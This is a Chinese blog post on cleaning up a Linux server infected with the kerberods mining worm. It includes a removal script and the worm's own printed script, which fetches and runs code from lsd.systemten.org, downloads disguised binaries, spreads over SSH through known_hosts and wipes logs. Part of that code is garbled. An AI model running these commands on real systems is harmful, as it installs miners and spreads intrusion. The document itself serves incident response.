太恐怖了，我的Linux服务器感染了kerberods病毒...

一、症状及表现

1、CPU使用率异常，top命令显示CPU统计数数据均为0，利用busybox 查看CPU占用率之后，发现CPU被大量占用。

注：ls top ps等命令已经被病毒的动态链接库劫持，无法正常使用，大家需要下载busybox。

2、crontab 定时任务异常，存在以下内容；

3、后期病毒变异，劫持sshd，导致远程登陆失败，偶尔还会跳出定时任务失败，收到新邮件等问题

4、 存在异常文件、异常进程以及异常开机项

二、查杀方法

1、断网，停止定时任务服务；
2、查杀病毒主程序，以及保护病毒的其他进程；
3、恢复被劫持的动态链接库和开机服务；
4、重启服务器和服务；

附查杀脚本(根据情况修改)
（脚本参考（https://blog.csdn.net/u010457406/article/details/89328869））
1 #!/bin/bash
2 #可以重复执行几次，防止互相拉起导致删除失败
3
4 function installBusyBox(){
5 #参考第一段
6 busybox|grep BusyBox |grep v
7 }
8
9 function banHosts(){
10 #删除免密认证，防止继续通过ssh进行扩散，后续需自行恢复，可不执行
11 busybox echo “” > /root/.ssh/authorized_keys
12 busybox echo “” > /root/.ssh/id_rsa
13 busybox echo “” > /root/.ssh/id_rsa.pub
14 busybox echo “” > /root/.ssh/known_hosts
15 #busybox echo “” > /root/.ssh/auth
16 #iptables -I INPUT -p tcp --dport 445 -j DROP
17 busybox echo -e “\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org” >> /etc/hosts
18 }
19
20
21 function fixCron(){
22 #修复crontab
23 busybox chattr -i /etc/cron.d/root 2>/dev/null
24 busybox rm -f /etc/cron.d/root
25 busybox chattr -i /var/spool/cron/root 2>/dev/null
26 busybox rm -f /var/spool/cron/root
27 busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
28 busybox rm -f /var/spool/cron/tomcat
29 busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
30 busybox rm -f /var/spool/cron/crontabs/root
31 busybox rm -rf /var/spool/cron/tmp.*
32 busybox rm -rf /var/spool/cron/crontabs
33 busybox touch /var/spool/cron/root
34 busybox chattr +i /var/spool/cron/root
35 }
36
37 function killProcess(){
38 #修复异常进程
39 #busybox ps -ef | busybox grep -v grep | busybox grep ‘khugepageds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
40 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
41 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kthrotlds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
42 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kpsmouseds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
43 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kintegrityds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
44 busybox ps -ef | busybox grep -v grep | busybox grep ‘/usr/sbin/kerberods’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
45 busybox ps -ef | busybox grep -v grep | busybox grep ‘/usr/sbin/sshd’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
46 busybox ps -ef | busybox grep -v grep | busybox egrep ‘/tmp/kauditds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
47 busybox ps -ef | busybox grep -v grep | busybox egrep ‘/tmp/sshd’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
48 busybox rm -f /tmp/khugepageds
49 busybox rm -f /tmp/migrationds
50 busybox rm -f /tmp/sshd
51 busybox rm -f /tmp/kauditds
52 busybox rm -f /tmp/migrationds
53 busybox rm -f /usr/sbin/sshd
54 busybox rm -f /usr/sbin/kerberods
55 busybox rm -f /usr/sbin/kthrotlds
56 busybox rm -f /usr/sbin/kintegrityds
57 busybox rm -f /usr/sbin/kpsmouseds
58 busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
59 }
60
61
62 function clearLib(){
63 #修复动态库
64 busybox chattr -i /etc/ld.so.preload
65 busybox rm -f /etc/ld.so.preload
66 busybox rm -f /usr/local/lib/libcryptod.so
67 busybox rm -f /usr/local/lib/libcset.so
68 busybox chattr -i /etc/ld.so.preload 2>/dev/null
69 busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
70 busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
71 busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
72 busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
73 busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
74 busybox rm -f /etc/ld.so.cache
75 busybox rm -f /etc/ld.so.preload
76 busybox rm -f /usr/local/lib/libcryptod.so
77 busybox rm -f /usr/local/lib/libcset.so
78 busybox rm -rf /usr/local/lib/libdevmapped.so
79 busybox rm -rf /usr/local/lib/libpamcd.so
80 busybox rm -rf /usr/local/lib/libdevmapped.so
81 busybox touch /etc/ld.so.preload
82 busybox chattr +i /etc/ld.so.preload
83 ldconfig
84 }
85
86 function clearInit(){
87 #修复异常开机项
88 #chkconfig netdns off 2>/dev/null
89 #chkconfig –del netdns 2>/dev/null
90 #systemctl disable netdns 2>/dev/null
91 busybox rm -f /etc/rc.d/init.d/kerberods
92 busybox rm -f /etc/init.d/netdns
93 busybox rm -f /etc/rc.d/init.d/kthrotlds
94 busybox rm -f /etc/rc.d/init.d/kpsmouseds
95 busybox rm -f /etc/rc.d/init.d/kintegrityds
96 busybox rm -f /etc/rc3.d/S99netdns
97 #chkconfig watchdogs off 2>/dev/null
98 #chkconfig --del watchdogs 2>/dev/null
99 #chkconfig --del kworker 2>/dev/null
100 #chkconfig --del netdns 2>/dev/null
101 }
102
103 function recoverOk(){
104 service crond start
105 busybox sleep 3
106 busybox chattr -i /var/spool/cron/root
107 # 将杀毒进程加入到定时任务中，多次杀毒
108 echo “*/10 * * * * /root/kerberods_kill.sh” | crontab -
109 # 恢复被劫持的sshd 服务
110 #busybox cp ~/sshd_new /usr/sbin/sshd
111 #service sshd restart
112 echo “OK,BETTER REBOOT YOUR DEVICE”
113 }
114
115 #先停止crontab服务
116 echo “1| stop crondtab service!”
117 service crond stop
118 #防止病毒继续扩散
119 echo “2| banHosts!”
120 banHosts
121 #清除lib劫持
122 echo “3| clearLib!”
123 clearLib
124 #修复crontab
125 echo “4| fixCron!”
126 fixCron
127 #清理病毒进程
128 echo “5| killProcess!”
129 killProcess
130 #删除异常开机项
131 echo "6| clearInit! "
132 clearInit
133 #重启服务和系统
134 echo “7| recover!”
135 recoverOk

查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：

/etc/profile，
~/.profile，
~/.bash_login，
~/.bash_profile，
~/.bashrc，
/etc/bashrc；

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

删除并次查杀病毒（重复之前查杀步骤），重启服务器，观察一段时间后不再有病毒程序被拉起，至此病毒被查杀完全。

三、病毒分析

1、感染路径

攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。

第一台感染的机器会读取known_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。

2、病毒主要模块

主恶意程序：kerberods
恶意Hook库：libcryptod.so libcryptod.c
挖矿程序：khugepageds
恶意脚本文件：netdns (用作kerberods的启停等管理)
恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）

3、执行顺序

① 执行恶意脚本下载命令

② 主进程操作

1> 添加至开机启动，以及/etc/bashrc
2> 生成了sshd文件 劫持sshd服务
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库，恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件，增加定时任务
7> 拉起khugepageds挖矿进程

附病毒恶意进程代码
1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
2
3 mkdir -p /tmp
4 chmod 1777 /tmp
5
6 echo “* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh” | crontab -
7
8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk ‘{print $2}’|xargs kill -9
9 ps -ef|grep -v grep|grep Circle_MI|awk ‘{print $2}’|xargs kill -9
10 ps -ef|grep -v grep|grep get.bi-chi.com|awk ‘{print $2}’|xargs kill -9
11 ps -ef|grep -v grep|grep hashvault.pro|awk ‘{print $2}’|xargs kill -9
12 ps -ef|grep -v grep|grep nanopool.org|awk ‘{print $2}’|xargs kill -9
13 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk ‘{print $2}’|xargs kill -9
14 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk ‘{print $2}’|xargs kill -9
15 ps -ef|grep -v grep|grep “xmr”|awk ‘{print $2}’|xargs kill -9
16 ps -ef|grep -v grep|grep “xig”|awk ‘{print $2}’|xargs kill -9
17 ps -ef|grep -v grep|grep “ddgs”|awk ‘{print $2}’|xargs kill -9
18 ps -ef|grep -v grep|grep “qW3xT”|awk ‘{print $2}’|xargs kill -9
19 ps -ef|grep -v grep|grep “wnTKYg”|awk ‘{print $2}’|xargs kill -9
20 ps -ef|grep -v grep|grep “t00ls.ru”|awk ‘{print $2}’|xargs kill -9
21 ps -ef|grep -v grep|grep “sustes”|awk ‘{print $2}’|xargs kill -9
22 ps -ef|grep -v grep|grep “thisxxs”|awk ‘{print $2}’ | xargs kill -9
23 ps -ef|grep -v grep|grep “hashfish”|awk ‘{print $2}’|xargs kill -9
24 ps -ef|grep -v grep|grep “kworkerds”|awk ‘{print $2}’|xargs kill -9
25 ps -ef|grep -v grep|grep “/tmp/devtool”|awk ‘{print $2}’|xargs kill -9
26 ps -ef|grep -v grep|grep “systemctI”|awk ‘{print $2}’|xargs kill -9
27 ps -ef|grep -v grep|grep “sustse”|awk ‘{print $2}’|xargs kill -9
28 ps -ef|grep -v grep|grep “axgtbc”|awk ‘{print $2}’|xargs kill -9
29 ps -ef|grep -v grep|grep “axgtfa”|awk ‘{print $2}’|xargs kill -9
30 ps -ef|grep -v grep|grep “6Tx3Wq”|awk ‘{print $2}’|xargs kill -9
31 ps -ef|grep -v grep|grep “dblaunchs”|awk ‘{print $2}’|xargs kill -9
32 ps -ef|grep -v grep|grep “/boot/vmlinuz”|awk '{print KaTeX parse error: Expected 'EOF', got '}' at position 2: 2}̲'|xargs kill -9…PATH: $(pwd) 40 if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
41 chattr -i sshd
42 rm -rf sshd
43 ARCH=$(uname -m)
44 if [ ${ARCH}x = “x86_64x” ]; then
45 (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd
46 else
47 (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd
48 fi
49 $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
50 fi
51
52 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
53 for h in $(grep -oE “\b([0-9]{1,3}.){3}[0-9]{1,3}\b” /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &’ & done
54 fi
55
56 for file in /home/*
57 do
58 if test -d $file
59 then
60 if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
61 for h in $(grep -oE “\b([0-9]{1,3}.){3}[0-9]{1,3}\b” $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &’ & done
62 fi
63 fi
64 done
65
66 echo 0>/var/spool/mail/root
67 echo 0>/var/log/wtmp
68 echo 0>/var/log/secure
69 echo 0>/var/log/cron
70 #
四、安全防护

1.SSH

① 谨慎做免密登录
② 尽量不使用默认的22端口
③ 增强root密码强度

2.Redis

① 增加授权认证(requirepass参数)
② 尽量使用docker版本(docker pull redis)
③ 隐藏重要的命令